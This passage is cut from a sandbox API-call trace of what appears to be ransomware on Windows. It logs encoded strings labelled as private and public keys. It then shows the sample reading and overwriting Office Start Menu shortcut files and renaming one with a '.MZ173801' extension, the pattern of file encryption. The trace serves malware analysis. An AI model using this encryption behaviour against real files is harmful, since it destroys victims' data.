Manager.lnk", dwFileAttributes=0x80) returned 1 [0215.411] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0215.411] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24b729c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0215.412] GetCurrentThreadId () returned 0xab4 [0215.412] GetCurrentThreadId () returned 0xab4 [0215.412] GetCurrentThreadId () returned 0xab4 [0215.413] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0215.413] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c82fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0215.413] GetCurrentThreadId () returned 0xab4 [0215.413] GetCurrentThreadId () returned 0xab4 [0215.413] GetCurrentThreadId () returned 0xab4 [0215.413] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Skype for Business Recording Manager.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\skype for business recording manager.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0215.414] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0215.414] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0215.414] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x9a1 [0215.414] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0215.414] ReadFile (in: hFile=0x330, lpBuffer=0x24d0100, nNumberOfBytesToRead=0x9a1, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d0100*, lpNumberOfBytesRead=0x19f480*=0x9a1, lpOverlapped=0x0) returned 1 [0215.419] CloseHandle (hObject=0x330) returned 1 [0215.419] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Skype for Business Recording Manager.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\skype for business recording manager.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0215.420] WriteFile (in: hFile=0x330, lpBuffer=0x24d2130*, nNumberOfBytesToWrite=0x9a1, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d2130*, lpNumberOfBytesWritten=0x19f48c*=0x9a1, lpOverlapped=0x0) returned 1 [0215.422] CloseHandle (hObject=0x330) returned 1 [0215.423] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Skype for Business Recording Manager.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\skype for business recording manager.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Skype for Business Recording Manager.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\skype for business recording manager.lnk.mz173801")) returned 1 [0215.424] GetCurrentThreadId () returned 0xab4 [0215.424] GetCurrentThreadId () returned 0xab4 [0215.424] GetCurrentThreadId () returned 0xab4 [0215.424] GetCurrentThreadId () returned 0xab4 [0215.424] GetCurrentThreadId () returned 0xab4 [0215.424] GetCurrentThreadId () returned 0xab4 [0215.424] FindNextFileW (in: hFindFile=0xa1b540, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4d20ecd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4d20ecd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4d20ecd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa0f, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Spreadsheet Compare 2016.lnk", cAlternateFileName="SPREAD~1.LNK")) returned 1 [0215.424] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0215.424] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0215.424] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Spreadsheet Compare 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\spreadsheet compare 2016.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4d20ecd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4d20ecd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4d20ecd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa0f)) returned 1 [0215.424] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Spreadsheet Compare 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\spreadsheet compare 2016.lnk")) returned 0x20 [0215.425] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Spreadsheet Compare 2016.lnk", dwFileAttributes=0x80) returned 1 [0215.427] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0215.427] 